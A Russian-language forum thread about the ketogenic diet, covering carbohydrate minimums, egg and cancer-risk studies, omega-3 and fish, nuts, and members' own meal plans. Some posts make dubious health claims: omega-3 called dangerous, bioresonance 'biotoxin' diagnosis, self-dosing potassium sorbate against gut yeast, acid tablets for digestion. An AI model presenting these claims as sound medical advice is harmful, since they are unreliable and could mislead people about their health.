Не, это всё не то, здесь основной акцент о вреде высокого белка на фоне низкоуглеводки. А там было о некоем обязательном углеводном минимуме - не менее скольких-то грамм в день.

Maksenek 17-12-2013 18:30

Re: Кетогенная диета
 
Цитата:

Сообщение от plush kitten (Сообщение 869172)
Что-то сдается мне, что количество циклов дыхания в минуту не совсем точно соответствует уровню метаболизма (надо бы еще тогда и глубину дыхания оценивать). У меня на питании без ограничений в районе 12 получается, хотя ем при этом в 2,5 раза больше твоего на свободном выгуле (считаю утром после пробуждения и вечерней еды).

Напрямую ЧДД в калории никто и не переводит, тем более для разных людей, т.к объем легких, глубина дыхания и т.д. различаются. Этот показатель предназначен для другого - для отслеживания индивидуальной динамики потребления энергии - приблизительно. Но это конечно если в процессе отслеживания не изменять себе искусственно глубину и прочие показатели дыхания, например, интенсивными видами спорта или различными дыхательными гимнастиками.

Maksenek 17-12-2013 18:34

Re: Кетогенная диета
 
Цитата:

Сообщение от marla (Сообщение 869213)
сядь спокоино перед часами, спина прямая, вдох и держишь, сколько можешь.

Нажмите тут для просмотра всего текста
Это хорошо, но я имел ввиду:

- Делать ли обычный вдох или максимально глубокий?
- Можно ли чтобы после вдоха легкие медленно проседали, постепенно выпуская воздух?
- Зажимать ли нос во время измерения, или оставлять его открытым (чтобы воздух мог циркулировать диффузно, конвекцией или от микродвижений легких).
- Можно ли интенсивно подышать перед замером (чтобы увеличить запас кислорода в крови).

По личному очень скромному опыту, все перечисленное ощутимо влияет на длительность задержки. Возможно и от других факторов зависит, которые я не заметил за эти несколько раз когда пытался измерять задержки.

Да и такой ли уж этот важный показатель, если он зависит от такого множества причин, да еще, как общеизвестно, легко тренируем?:hz:

marla 17-12-2013 18:59

Re: Кетогенная диета
 
максимально глубокий
- Можно ли чтобы после вдоха легкие медленно проседали, постепенно выпуская воздух? нет
- Зажимать ли нос во время измерения, или оставлять его открытым
- Можно ли интенсивно подышать перед замером (чтобы увеличить запас кислорода в крови). нет

Maksenek 17-12-2013 19:36

Re: Кетогенная диета
 
Цитата:

Сообщение от marla (Сообщение 869325)
максимально глубокий
- Можно ли чтобы после вдоха легкие медленно проседали, постепенно выпуская воздух? нет
- Зажимать ли нос во время измерения, или оставлять его открытым
- Можно ли интенсивно подышать перед замером (чтобы увеличить запас кислорода в крови). нет

ОК, замерю как возобновлю кетодиету. В этот раз попробую стартовать после СГ, постараюсь 5 суток, минимум 3 (чтоб после криза).

allright 18-12-2013 13:13

Re: Кетогенная диета
 
Цитата:

Сообщение от Maksenek (Сообщение 869314)
Не, это всё не то, здесь основной акцент о вреде высокого белка на фоне низкоуглеводки. А там было о некоем обязательном углеводном минимуме - не менее скольких-то грамм в день.

Ну я думал ты должен знать.. Минимум определяется потребностями глюкозозависимых тканей: мозги и эритроциты в основном. Первое требует настолько динамичного режима поставки энергии, что за счет одного только аэробного механизма (сжигания жиров и кетоновых тел) его работа не обеспечивается. Львиная доля работы обеспечивается за счет анаэробного гликолиза = сжигания глюкозы. Второе и вовсе не содержит митохондрии. Но главный потребитель конечно же мозг.
С того же сайта в цифрах
Цитата:

How Much is Enough?
Carbohydrates include starches and sugars. Your body breaks down nonfiberous carbohydrates into simple sugars, which it uses to generate energy. The Institute of Medicine reports that your brain uses roughly 117 to 142g of glucose daily, which comes from your diet and liver production of the sugar. Because your liver produces approximately 30g of glucose daily, the estimated average requirement for carbohydrates for adults is 100g per day. This amount of carbs prevents your brain from having to use its backup source of energy: ketones.
http://www.livestrong.com/article/42...r-brain-sugar/

Естественно, что если снизить потребление ниже тех самых 100 гр, то не останется никуда деться, кроме как компенсировать эту цифру повышенным сжиганием белка, своего или чужого. Как ни крути, диета автоматически становится высокопротеиновой, с повышением нагрузки на почки.
Я с Кучевасовым на эту тему тут как-то спорил. Он утверждал, что мозг одними кетонами можно питать.

ПС Как-бы с точки зрения твоей задачи, снижения обмена, уходить ниже 100 гр углей энергетически не выгодно, т. к. глюконеогенез и сопутствующая биохимия достаточно энергозатратны.

Maksenek 19-12-2013 02:55

Re: Кетогенная диета
 
Вопрос был о глюкозном минимуме не для обычного питания (это широко известно и так), а для кетодиеты.

Пока известно лишь, что это не больше 30 грамм, поскольку столько получают питающиеся смесью "Ketocal" суточная норма которой содержит 45 г белка (не в счет, это минимум хватающий лишь на поддержание азотистого равновесия), 210 г жира и 9 грамм углеводов. То есть 9 + 21 из глицерина жира = 30 г глюкозы. Но когда каждый грамм на счету, надо знать точно, "не более" - не катит.

Есть еще инфа о питании мозга на голодании:

http://maksenek.narod.ru/graphs/brain-fuels.jpg

Но это неприменимо к кетодиете, поскольку на голодании другой метаболизм и кроме того крайне неэффективный. Например установлено что после 2 недель голода добавление даже 7.5 г глюкозы в день значительно снижает потери белка (http://www.ncbi.nlm.nih.gov/pmc/articles/PMC292366/).

ASOCIALNIY 02-01-2014 10:37

Re: Кетогенная диета
 
Сообщение от kukunja
У меня всю жизнь рост был 167 см, где-то с год назад замерял - была просадка на пол сантиметра. А вот на той неделе замерился - 168,2 см !!? Пока объяснить ни чем увеличение роста не могу (разве что выпрямился позвоночник, хотя и так вроде бы прямой был). При питанни по Монастырскому (базовое, 2-й год) было утяжеление костей почти на 2 кг. И у меня как я понимаю гормоны роста уже не работают (почти 60 лет).



Замеры производились с учётом того момента, что в течение дня рост человека "колеблется"? Например, утром рост человека всегда немного больший нежели днём-вечером.

"А в попугаях я го-ораздо длиннее" - Классика!

kukunja 03-01-2014 04:05

Re: Кетогенная диета
 
Цитата:

Сообщение от ASOCIALNIY (Сообщение 871981)
Замеры производились с учётом того момента, что в течение дня рост человека "колеблется"? Например, утром рост человека всегда немного больший нежели днём-вечером.

А ведь все замеры делаются в первой половине дня (в районе 9-10 часов), даже медкомиссию в армию проходил, тоже в это же время.

михалыч 10-01-2014 04:10

Re: Кетогенная диета
 
Белково жировая диета кто что знает и пользовался ?

kukunja 10-01-2014 09:33

Re: Кетогенная диета
 
Цитата:

Сообщение от михалыч (Сообщение 873424)
Белково жировая диета кто что знает и пользовался ?

Вы как раз в теме.Читайте здесь все написано.

marla 29-01-2014 16:15

Re: Кетогенная диета
 
кетогенка против рака :good:

http://diagnosisdiet.com/what-causes-cancer/

Maksenek 30-01-2014 16:24

Re: Кетогенная диета
 
Цитата:

Сообщение от marla (Сообщение 878161)
http://diagnosisdiet.com/what-causes-cancer/

Качественный материал. Инструментальные измерения, учет калорий и нутриентов, графики. Поддержание веса в течении 27 дней на 1050 ккал (65-67-47 БЖУ) - здорово.

behealthy 03-02-2014 20:26

Re: Кетогенная диета
 
Новую инфу нашел. Кто читает на английском. Почему кетогенка и низкоуглеводка не работают в длительной перспективе и могут быть даже опасными.

http://freetheanimal.com/2014/01/car...his-beast.html - тут основной топик.

Тут обсуждение на роупалео форуме.

http://www.rawpaleodietforum.com/hot...-for-disaster/

Цитата:

Apparently, two of the important things that humans should do are:

- stay out of ketosis most of the time (it's a stressful process designed to kick in during starvation, not every day)
- consume sufficient resistant starch (something like around 20 - 30 grams per day, but start out with smaller amounts to avoid flatulence or detox) and other prebiotics
Цитата:

I figured out too late that VLC makes no sense and is dangerous and didn't realize that I was missing this important thing called resistant starch. I now think that one reason I've been finding it so hard to reincorporate carby foods into my diet is that my gut microbiome was damaged. It had already been damaged by years of antibiotics, so I was especially susceptible to this additional damage. I actually think that even the regular early cooked Paleo diet along the lines of what Loren Cordain recommended that included a reasonable amount of carbs from fruits and nuts started the damage for me, because it was low in resistant starch. It was a misleading diet because it made me feel so good at first.
Связано с кишками (микрофлора), наличием / отсутствием в рационе устойчивого крахмала (resistant starch).

kukunja 04-02-2014 07:14

Re: Кетогенная диета
 
Цитата:

Сообщение от behealthy (Сообщение 879477)
Почему кетогенка и низкоуглеводка не работают в длительной перспективе и могут быть даже опасными.

Что значит не работает: в плане снижения веса или здоровья.

RomanK 08-02-2014 22:08

Re: Кетогенная диета
 
Первая ссылочка "освободи животных. ком". Интересно, а что там еще могли написать? На роупалео народа всякого хвататет, самый "объективный" Лекс Рук, он годовые анализы вывешивал, не за что не агитируя. Группа товарищий с инстинкто тоже вроде не жалуется на жизнь. А у них всего хватает в рационе. Колхоз - как хотят, так и едут... К сожалению, на любую идею будет куча статей "ученых" за и против.

Maksenek 16-02-2014 05:04

Re: Кетогенная диета
 
Кто-нибудь знает насчет куриных яиц, не опасно будет их употреблять на уровне 1-2 шт. в день? Есть ли анализы крови тех, кто постоянно ест столько яиц? Имеется в виду на низкоуглеводном (или хотя бы просто на здоровом) питании. На обычноедении вредно, вроде бы, но там множество вмешивающихся факторов могли оказать влияние..

Леопольдовна 16-02-2014 05:28

Re: Кетогенная диета
 
Maksenek, не знаю как у вас, у самураев, холостой русский мужик до женитьбы живет, в основном, на яичнице. Штук 10 в день:idea:

kukunja 16-02-2014 06:21

Re: Кетогенная диета
 
Цитата:

Сообщение от behealthy (Сообщение 879477)
Почему кетогенка и низкоуглеводка не работают в длительной перспективе и могут быть даже опасными.

Если кормить хищника 3 раза в день - он быстро сдохнет. Тут все ясно: на травке нужно часто питаться, на жире/мясе, только редкое питание.

Maksenek 16-02-2014 06:38

Re: Кетогенная диета
 
Цитата:

Сообщение от Maksenek (Сообщение 882660)
Кто-нибудь знает насчет куриных яиц, не опасно будет их употреблять на уровне 1-2 шт. в день? Есть ли анализы крови тех, кто постоянно ест столько яиц? Имеется в виду на низкоуглеводном (или хотя бы просто на здоровом) питании. На обычноедении вредно, вроде бы, но там множество вмешивающихся факторов могли оказать влияние..

Сорри, уже не надо. Не дожидаясь, решил немного поискать сам, и уже первых результатов хватило чтоб прийти в ужас.:D Заменил на другой продукт.

Олег1099 16-02-2014 14:34

Re: Кетогенная диета
 
Цитата:

Сообщение от Maksenek (Сообщение 882682)
чтоб прийти в ужас.

ну так делись какой ужас, у меня уже второй год пошел - по утрам яичница из семи- десяти яиц, кроме постоянного стояка проблем не вижу?
кстати анализы сдаю раз в год последние пару месяцев назад сдал - все отлично, только гемоглобин выше верхнего уровня - завышен, но это результат моего донорства крови, организм как бы про запас готовится к потере крови.

Joly 16-02-2014 14:52

Re: Кетогенная диета
 
Всем кетогенщикам привет ! Ром , тебе горячий отдельный!))))

Maksenek, первая ссылка для вас , что бы страх так сказать отступил .http://www.ling1.net/articles/428
А тут оствльные пять мифов о здоровом питании http://www.ling1.net/articles/429
http://www.ling1.net/articles/430
Ну очень познавательно , если набраться терпения и дочитать до конца . ))))

Maksenek 16-02-2014 15:25

Re: Кетогенная диета
 
Нет, страх не отступил, он был не из-за холестерина.. :( http://www.ncbi.nlm.nih.gov/pubmed/20104980

allright 16-02-2014 16:53

Re: Кетогенная диета
 
Вложений: 1
Цитата:

Сообщение от Maksenek (Сообщение 882786)
Нет, страх не отступил, он был не из-за холестерина.. :( http://www.ncbi.nlm.nih.gov/pubmed/20104980

Макс, начни курить и выпивать, тогда, соглавно твоему исследованию, шансы заболеть раком снижаются до обычных. см. таблицу или я че не так понял?:D
http://golodanie.su/forum/attachment...1&d=1392569458 пдф http://www.apocp.org/cancer_download...%20Dagfinn.pdf

RomanK 16-02-2014 20:21

Re: Кетогенная диета
 
По поводу яиц, даже для веганов. Вот дядька Брасс, которого особо не прихватишь, типа за пропаганду неправильноедения, писал про научные изыски дохтура Курсиво (еже ли имена переврал, пардонец, не в этом дело). Тот дохтур наблюдал за семейкой упертых веганов, дык вывод его был такой: сена побольше, но чтоб усваивалось месить его в пюре, фрукты и прочие сладости - в топку. И дальше последний гвоздь - обязательно желтки хотя бы, никак не получалось без энтого. Выходит по-любому практически кето... Для особо уперто-ортодоксальных надо лопать пыльцу...
Так что вышеозвученный вопрос по поводу одного-двух шт в день, даже теоретически беспроблемно.
Удачи

Maksenek 17-02-2014 03:15

Re: Кетогенная диета
 
Цитата:

Сообщение от allright (Сообщение 882796)
Макс, начни курить и выпивать, тогда, соглавно твоему исследованию, шансы заболеть раком снижаются до обычных. см. таблицу или я че не так понял?:D
http://golodanie.su/forum/attachment...1&d=1392569458 пдф http://www.apocp.org/cancer_download...%20Dagfinn.pdf

Хех, ну нет, это не прокатит - шансы то снизятся не до обычных, а до, соответственно, "алкашных", "курильщиковых" и т.д. К тому же это относится только к уровню до половинки яйца в день. Возможно вред от этой яичной крошки просто теряется на фоне повышенного риска рака у этих групп. Или влияют погрешности или ещё что-то.

Как бы то ни было, во всех без исключения группах высокое потребление яиц заметно опаснее низкого..

Maksenek 17-02-2014 03:53

Re: Кетогенная диета
 
А, вот ещё может быть, смотрите как риск зависит от пола:
Цитата:

Eggs------>0-3.5 eggs/wk2 --- >3.5 eggs/wk2

Sex
Men ----- 1.00 (0.80-1.26)--- 1.42 (1.06-1.89)
Women ---1.47 (1.09-1.98)--- 2.48 (1.55-3.96)
Для половинки яйца у мужчин риска нет. Если их окажется много в группе алкашей и курильщиков (что вполне может быть), то и результаты будут близки к единице. Но по половинке яйца то есть специально никто не собирается, так что для более-менее приличного уровня потребления пол не спасет...

Tamara 17-02-2014 07:27

Re: Кетогенная диета
 
А о каких яйцах идет речь в исследовании - сырых или вареных (или, о ужас, жареных)?

Maksenek 17-02-2014 07:39

Re: Кетогенная диета
 
Пишут что для вареных яиц риск был повышен так же как и для жареных:
Цитата:

We also had
information on intake of fried and boiled eggs in this study
and the results were in general similarly elevated both
with intake of boiled and fried eggs (results not shown).

Tamara 17-02-2014 10:49

Re: Кетогенная диета
 
Так, может, сырые надо есть?

allright 18-02-2014 12:38

Re: Кетогенная диета
 
Цитата:

Сообщение от Maksenek (Сообщение 882888)
Хех, ну нет, это не прокатит - шансы то снизятся не до обычных, а до, соответственно, "алкашных", "курильщиковых" и т.д.

Неа, табличку глянь. Там сравнивают курильщиков с теми, кто курил раньше и вообще никогда, а также пьющих с малопьющими и непьющими. У первых риск заболеть раком ниже, а у последних - максимальный. Еще если с яйцами есть красное мясо, то риски тоже снижаются. Подзреваю, что если вдобавок к употреблению яиц пить, курить, есть много мяса и ругаться матом, то эффект будет кумулятивный, риски упадут ниже плинтуса. Я сам тоже всегда за науку, но и ее нужно воспринимать критически. Это исследование - чистый юмор, ИМХО))

allright 18-02-2014 12:39

Re: Кетогенная диета
 
Цитата:

Сообщение от Tamara (Сообщение 882912)
или, о ужас, жареных

Ну и че ужасного то?

Maksenek 18-02-2014 13:43

Re: Кетогенная диета
 
Цитата:

Сообщение от allright (Сообщение 883170)
Там сравнивают курильщиков с теми, кто курил раньше и вообще никогда, а также пьющих с малопьющими и непьющими.

Риски в каждой группе относительные для данной коррекции, а не для соседней группы.

Maksenek 20-02-2014 14:59

Re: Кетогенная диета
 
Оказывается, риск когнитивных нарушений и старческого слабоумия (деменции), зависит от типа потребляемых жиров.
Цитата:

Существует недавнее увеличение уровня заинтересованности о возможной роли пищевых жирных кислот в возрастных когнитивных нарушениях обоих видов, дегенеративных (болезнь Альцгеймера, БА) и сосудистого происхождения. В настоящее время, несколько исследований показало, что повышение употребления насыщенных жирных кислот может оказать негативное воздействие на когнитивные функции. Кроме того, снижение риска когнитивных нарушений было обнаружено у населения с высоким потреблением полиненасыщенных жирных кислот (ПНЖК) и мононенасыщенных жирных кислот (MНЖК). Эти выводы были подтверждены исследованиями, в которых высокое потребление омега-6 ПНЖК и омега-3 ПНЖК, МНЖК, и еженедельное потребление рыбы, обеспечивая большое количество о-3 ПНЖК, похоже, защищает от риска БА. У пожилых из Южной Италии, высокое потребление ненасыщенных жирных кислот (МНЖК и ПНЖК), высокий уровень антиоксидантов, и очень низкое потребление насыщенных жиров может действовать синергически в улучшении когнитивных функций. Эпидемиологические исследования связи между диетой и когнитивными нарушениями показывает возможную роль потребления жирных кислот в поддержании адекватных когнитивных функций и, возможно, для предотвращения или задержки начала деменции, как дегенеративного так и сосудистого происхождения. Соответствующие диетические меры или добавки с конкретными микро-и макроэлементов могут открыть новые пути для профилактики и лечения когнитивных нарушений и деменции.

http://www.ncbi.nlm.nih.gov/pubmed/15820606

allright 21-02-2014 18:09

Re: Кетогенная диета
 
Попался интересный вроде блог с экспериментом на тему кетогенки и физнагрузки. По английски понимаю не оч быстро, поэтому пока своего мнения нет.
http://eatingacademy.com/nutrition/t...ketosis-part-i

plush kitten 23-02-2014 12:35

Re: Кетогенная диета
 
Цитата:

Сообщение от Maksenek (Сообщение 882682)
решил немного поискать сам, и уже первых результатов хватило чтоб прийти в ужас.

Да, похоже из всех животных продуктов относительно безопасна (и даже полезна) только рыба, ну и морепродукты... А что, таковые для кетогенки не подходят?

RomanK 23-02-2014 19:48

Re: Кетогенная диета
 
Насколько я врубаюсь, кетогенка должна быть жировой, а не белковой. Чего-то где-то проскакивало, что белок, ненужный для тушки, идет как углеводы (не буквально, а по эффекту). Насчет безопасности рыбы, то же еще тот вопросец, не в плане продукта, а в смысле его нынешнего качества...
Короче, сало форева! Ну и хорошее масло, типа натурального вологодского, которое теперь дороже самовара :(...
Хоть бы кто из кетогенщиков по теме отписался, как делишки по жизни, а то скучно здесь "без водки..." одни теор рассуждения.

Joly 24-02-2014 08:08

Re: Кетогенная диета
 
Цитата:

Сообщение от plush kitten (Сообщение 884188)
Да, похоже из всех животных продуктов относительно безопасна (и даже полезна) только рыба,

Вот здесь немного о пользе рыбы.))


Нажмите тут для просмотра всего текста
Все в мире знают (исключительно благодаря пропаганде жирных кислот Омега-3 — яркий пример №1 и пример №2), что эскимосы не страдают сердечнососудистыми заболеваниями, артритом, не подвержены аллергиям, не жалуются на зубы и почти не болеют раком. Согласно медицинской пропаганде, высокий уровень их здоровья обусловлен диетой, обогащенной мясом лосося, тюленя и кита, которые все чрезвычайно богаты ЭПК (эйкозапентаеновой кислотой) и ДГК (докозагексаеновой кислотой). При этом пропагандисты Омега-3 почему-то игнорируют тот факт, что есть масса национальных кухонь, в которых ни лососи, ни тюлени, ни киты вообще не употребляются в пищу, в результате чего люди потребляют не больше Омега-3, чем типовой русский или американец со своими борщами и котлетами с картошкой, оставаясь при этом здоровыми.

Реальное положение дел, вероятно, удивит вас: эскимосы не потребляют Омега-3 в большом количестве. Их диета «богата» Омега-3 только в том смысле, что эскимосам приходится есть больше Омега-3, чем, например, русским и американцам. И то речь идет только об эскимосах, живущих на побережье. Эскимосы, живущие вдали от берега, едят преимущественно оленину (карибу) и немного полярной медвежатины — рыбу они практически не видят.

Теперь обратимся к цифрам. Содержание различных жирных кислот в лососе, этом краеугольном камне диеты прибрежных эскимосов, варьируется в очень широких пределах, в зависимости от времени года, солевого состава океана и т.д. Анализ показывает, что средние цифры содержания в лососе жирных кислот таковы:
Насыщенные — 32%
Моно-ненасыщенные — 43%
Омега-6 — 2%
Омега-3 — 23%

100-граммовая порция лосося содержит 140 килокалорий, 44% из которых (62 килокалории) обеспечиваются его жиром.

[44% калорийного выхода жира] x [23% содержания Омега-3] = 10%, т.е. на долю ПНЖК Омега-3 приходятся 14 килокалорий.

Питание исключительно лососиной (или похожей рыбой) — как, собственно, и питаются большую часть года прибрежные эскимосы — все равно дает диету, в которой содержание насыщенных жирных кислот на 24% больше, чем полиненасыщенных, причем самая большая доля приходится на моно-ненасыщенные кислоты.

Короче говоря, правда состоит в том, что эскимосы не знают множества дегенеративных заболеваний несмотря на, а не благодаря потреблению чрезвычайно вредоносных Омега-3. В действительности, Омега-3 являются единственным недостатком их идеальной во всех остальных отношениях диеты.

Чем же так хороша диета эскимосов?
Отсутствие сахара.
Почти полное отсутствие крахмалов.
Очень низкое содержание Омега-6.
Никаких пережаренных, денатурированных белков.
Экстремально высокая питательность пищи (витамины, минералы, аминокислоты, насыщенные жиры, стеролы).
Много мяса и рыбы потребляется в сыром виде.
Все, что нельзя есть сырым, варится и пьется в виде бульона.
Едятся хрящи и костный мозг.
Едятся многие железы и органы — в частности надпочечники, щитовидные железы и мозги — все это вкупе с насыщенными и стерольными жирами и гормонами защищает от Омега-3.
Нет переедания.
Прекрасное функционирование желчного пузыря и кишечной флоры.

Эти 11 пунктов поставьте в плюсы. В минусах — только один: максимум 10% калорий, извлекаемых из Омега-3.

Утверждать, что рыбные масла — именно то, что обусловливает свободу эскимосов от всякого дегенератива, пожалуй, даже еще более абсурдно, чем утверждать, что йогурт — причина долгожительства хунзакутов. При соблюдении идеальной диеты, лосось, если потреблять его в умеренных количествах, — вполне приемлемая пища. Но во всех остальных случаях (например при питании типичной русской или типично американской стряпней), на лосось нужно вешать табличку с надписью:

«Опасно! Содержит до 10% жирных кислот Омега-3, ускоряющих старение и увеличивающих вероятность возникновения сердечнососудистых заболеваний и рака».

Повторим еще раз: эскимосам удается жить долго с увеличенным потреблением Омега-3 только благодаря диете, идеальной во всех остальных отношениях.

Олег1099 24-02-2014 15:50

Re: Кетогенная диета
 
Цитата:

Сообщение от RomanK (Сообщение 884260)
Хоть бы кто из кетогенщиков по теме отписался, как делишки по жизни, а то скучно здесь "без водки..." одни теор рассуждения.

собственно у меня так - утром после зарядки - омлет из белков от 5-7 яиц с помидором или без, с салом грамм 50 сырым, потом молочный коктейль по бадвиг - кислое обезжиренное коровье молоко 500гр смешанное миксером с : желтки от тех же 5-7 яиц, 4 столовых ложки льняного масла, 4 ст. ложки смолотого семени льна, 1 ст.ложка смолотого семени кунжута, столовая ложка меда натурального, столовая ложка куркумы. Выходит полная литровая кружка такого коктейля)). В течении дня больше не ем, пью только компот из сухофруктов(яблоки, груши, сливы, вишня) до 2 литров в день, варю без сахара. 2-3 раза в неделю могу в компании поесть еще и вечером, шашлык из свинины или куриные котлеты грамм 500. Странные мои боли отдающие в спину ушли, с клизмами КК завязал, они, как показала практика, способствуют моим болям. Из нагрузки утром, перед завтраком, зарядка с гирями, пробежка 2-3 км и прыжковые упражнения со скакалкой, лесенка и т.п. под веселую музыку минут 15, мне очень понравилось, особенно замотивировало на эти упражнения когда заметил, что после них лимфоузлы на шее уменьшаются с размера фасолины до размера 2-3 мм в диаметре. Пульс упал до 57-60 ударов в минуту, раньше был 72-90 ударов. Вот как-то так.

allright 24-02-2014 16:30

Re: Кетогенная диета
 
Цитата:

Сообщение от Олег1099 (Сообщение 884510)
Пульс упал до 57-60 ударов в минуту, раньше был 72-90 ударов. Вот как-то так.

Отлично, показатель того, что идешь верным путем:super: В чем главная причина повышенного была, как считаешь?

Олег1099 24-02-2014 16:46

Re: Кетогенная диета
 
Цитата:

Сообщение от allright (Сообщение 884527)
В чем главная причина повышенного была, как считаешь?

раньше четко связывал это с сырым мясом, потом как-то стерлась связь, есть перестал мясо, а пульс был такой же высокий. Когда потерял связь, перестал вообще мониторить пульс, недавно опять начал мониторить и был приятно удивлен. короче не знаю теперь, что там было причиной.

RomanK 24-02-2014 22:31

Re: Кетогенная диета
 
Утро 4 яйца, типа омлет. Обед кусок сырой рыбы гр 100-150 и салат помидоры, зелень, огурцы. Ужин тушеные овощи (если есть), мяса 200 гр и сала 50 гр. Иногда кокосовое масло между делом и раз в день сывороточный протеин несладкий. Когда есть гр 150 ананасы или ягоды, всякие травяные чаи. Сейчас сала запасы тают, начал добавлять сметану для жира... кончится сало, начну есть масло... Пока так.

Irez 24-02-2014 23:08

Re: Кетогенная диета
 
RomanK, день добрый....Когда то я читала Ваши посты, вы принимали соляную кислоту для усиления пищеварения. Принимаете ли еще, помогла ли она? Как она называется в таблетках?
Спасибо

allright 25-02-2014 14:35

Re: Кетогенная диета
 
Цитата:

Сообщение от Irez (Сообщение 884645)
RomanK, день добрый....Когда то я читала Ваши посты, вы принимали соляную кислоту для усиления пищеварения. Принимаете ли еще, помогла ли она? Как она называется в таблетках?
Спасибо

А может попробовать для лучшего переваривания стаканчик сухого вина? По желанию можно алкогольного либо безалкогольного.

RomanK 25-02-2014 16:50

Re: Кетогенная диета
 
Сухое вино - это нормально. Вот только где его взять "нормального"? Даже тут в открытую пишут "с сульфатами"... как-то неочень...
Соляную, я вот эту брал http://www.nationalnutrition.ca/detail.aspx?ID=401, сейчас иногда ем, иногда нет. Последний месяц нет. Заметил что-нибудь, не-а. Но хуже точно не было.
Успехов

Irez 25-02-2014 16:57

Re: Кетогенная диета
 
Цитата:

Сообщение от RomanK (Сообщение 884841)
Заметил что-нибудь, не-а.

она совсем не давала усиления пищеварения,?
Мезим и всякую ерунду не хочется принимать

Irez 25-02-2014 16:59

Re: Кетогенная диета
 
Цитата:

Сообщение от allright (Сообщение 884808)
А может попробовать для лучшего переваривания стаканчик сухого вина? По желанию можно алкогольного либо безалкогольного.

а то я думаю чего меня на алко тянет...так спиться можно если время употребять

Wit 26-02-2014 11:09

Re: Кетогенная диета
 
Цитата:

Сообщение от Олег1099 (Сообщение 884510)
Пульс упал до 57-60 ударов в минуту, раньше был 72-90 ударов.

Цитата:

Сообщение от Олег1099 (Сообщение 884535)
не знаю теперь, что там было причиной

Я тоже была очень обеспокоена высоким пульсом на протяжение нескольких месяцев: в покое в р-не 80, ночью намного выше. Он, правда, у меня по жизни был повышенный.
На прошлой неделе делала биорезонансную диагностику и темнопольную микроскопию крови. Так вот, высокий пульс, по словам доктора, был от большого потока биотоксинов. Плазма крови была просто набита всякими патогенными бактериями, вирусами, паразитами и их токсинами. Допускаю, что делала диагностику в неудачный момент: как раз устроила Армагеддон своей кишечной микрофлоре, чтобы выбить дрожжи, а всякие патогенные бактерии использовали ситуацию в свою пользу. Самочувствие, кстати, в это время было вполне себе сносным, только пульс был высокий. Кстати, врач не смог локализовать источник этой инфекции, ни назвать причину: органы были вроде в порядке, т.е. без явных видимых нарушений, только кровь была ужасной. Сказал, что никогда не видел такой жуткой картины с кровью (сама видела в микроскоп). Так что причиной высокого пульса может легко оказаться огромный поток биотоксинов.
Кстати, когда выпиваю какой-нибудь энтеросорбент, пульс возвращается в рамки приличия.
Так что пью сейчас всякие кровоочистительные травки.
Вижу, что много кто проходит эту стадию высокого пульса. У народа в основном впоследствии всё утрясается.

Michail 26-02-2014 17:32

Re: Кетогенная диета
 
На прошлой неделе делала биорезонансную диагностику

Развод по-русски

Сергей Р 26-02-2014 18:54

Re: Кетогенная диета
 
Цитата:

Сообщение от Wit (Сообщение 884991)
устроила Армагеддон своей кишечной микрофлоре


Методику армагеддонизации не опишите?

Tamara 27-02-2014 04:38

Re: Кетогенная диета
 
А кто-нибудь из тех, кто на кетогенной диете, сдавал анализ на креотинин?

Wit 27-02-2014 08:59

Re: Кетогенная диета
 
Цитата:

Сообщение от Сергей Р (Сообщение 885145)
Методику армагеддонизации не опишите?

Всё было просто: сорбат калия - при производстве вина и пива моментально останавливает ферментацию. На антикандидном сайте пишут, что его используют, когда ничто другое от этих грибков не помогает, вот и решила испробовать на себе. Вероятно, дрожжи были выбиты, но другие звери моментально заняли место. В итоге всё вернулось на круги своя, т.к. гомеостаз не обманешь.

Цитата:

Сообщение от Michail (Сообщение 885084)
Развод по-русски

биорезонансную диагностику делала в Германии. Биорезонанс пусть себе не 100%, а 85-95% достоверности, но кровь под микроскопом - это очень точно и наглядно.

Maksenek 27-02-2014 13:43

Re: Кетогенная диета
 
Цитата:

Сообщение от plush kitten (Сообщение 884188)
А что, таковые для кетогенки не подходят?

Это питание отлично снижает аппетит из-за кетоза, если не злоупотреблять белками конечно, иначе орг будет синтезировать из них те же угли и кетонам конец. С рыбой надо поосторожнее из-за большого % белка и повышенного риска катаракты. Жир основа кетодиеты, поэтому вопрос о насыщенных жирах (риск слабоумия) стоит ещё острее, чем на обычноедении. Мой выбор в качестве основы рациона, орехи. Помимо пользы для профилактики ссз и рака, там мало белка и углеводов, и жиры орехов это одни из cамых бедных насыщенными жирами жиров вообще (в большинстве орехов 2-3 раза меньше чем в жире рыбы), и при том много полезных МНЖК и ПНЖК.

http://maksenek.narod.ru/tables/tabl...hk_orekhi_.png

RomanK 27-02-2014 20:03

Re: Кетогенная диета
 
... "основа рациона"... годик как белочка. Потом отчет в студию, чтоб народ тоже мог приобщиться к идеалу.
Успехов

Maksenek 28-02-2014 05:08

Re: Кетогенная диета
 
Кетодиету я использовал только как вспомогательное временное средство (для стратегических целей не уверен что подойдет), но благотворный эффект сохраняется даже после отмены.

Alex747 06-03-2014 00:31

Re: Кетогенная диета
 
Вот тут интересная инфа http://news.rambler.ru/23933748/

marla 08-03-2014 20:14

Re: Кетогенная диета
 
Цитата:

Сообщение от Maksenek (Сообщение 885284)
, и при том много полезных ПНЖК.

полезных ???
http://www.second-opinions.co.uk/imm...l#.Uxt3KM6H22o
::blink.g:

Maksenek 09-03-2014 04:17

Re: Кетогенная диета
 
Цитата:

Сообщение от marla (Сообщение 887671)

Там говорится о подсолнечном масле и рыбьем жире. То есть, о рафинированных жирах. :idea:

Цельные же продукты, орехи, наоборот, защищают от рака:
Цитата:

Nut consumption has been associated with several health benefits, such as antioxidant, hypocholesterolemic, cardioprotective, anticancer, anti-inflammatory, and antidiabetic benefits, among other functional properties.
http://www.ncbi.nlm.nih.gov/pubmed/23044160
Та же самая история и с рыбой. Добавки рыбьего жира способствует раку простаты, а жирная рыба - наоборот:
http://www.ncbi.nlm.nih.gov/pubmed/11403817

Как видим, ПНЖК оказывает прямо противоположный эффект в зависимости от "натуральности" источника. Так что, выходит не зря поднимают бучу сторонники цельных продуктов! :-)

marla 09-03-2014 07:07

Re: Кетогенная диета
 
Weston Price:

Total fat content of traditional diets varies from 30% to 80% but only about 4% of calories come from polyunsaturated oils naturally occurring in grains, pulses, nuts, fish, animal fats and vegetables. The balance of fat calories is in the form of saturated and monounsaturated fatty acids.


Ray Peat

http://raypeat.com/articles/articles...atedfats.shtml

Maksenek 09-03-2014 08:27

Re: Кетогенная диета
 
Цитата:

Сообщение от marla (Сообщение 887754)
Weston Price:

Total fat content of traditional diets varies from 30% to 80% but only about 4% of calories come from polyunsaturated oils naturally occurring in grains, pulses, nuts, fish, animal fats and vegetables. The balance of fat calories is in the form of saturated and monounsaturated fatty acids.


Ray Peat

http://raypeat.com/articles/articles...atedfats.shtml

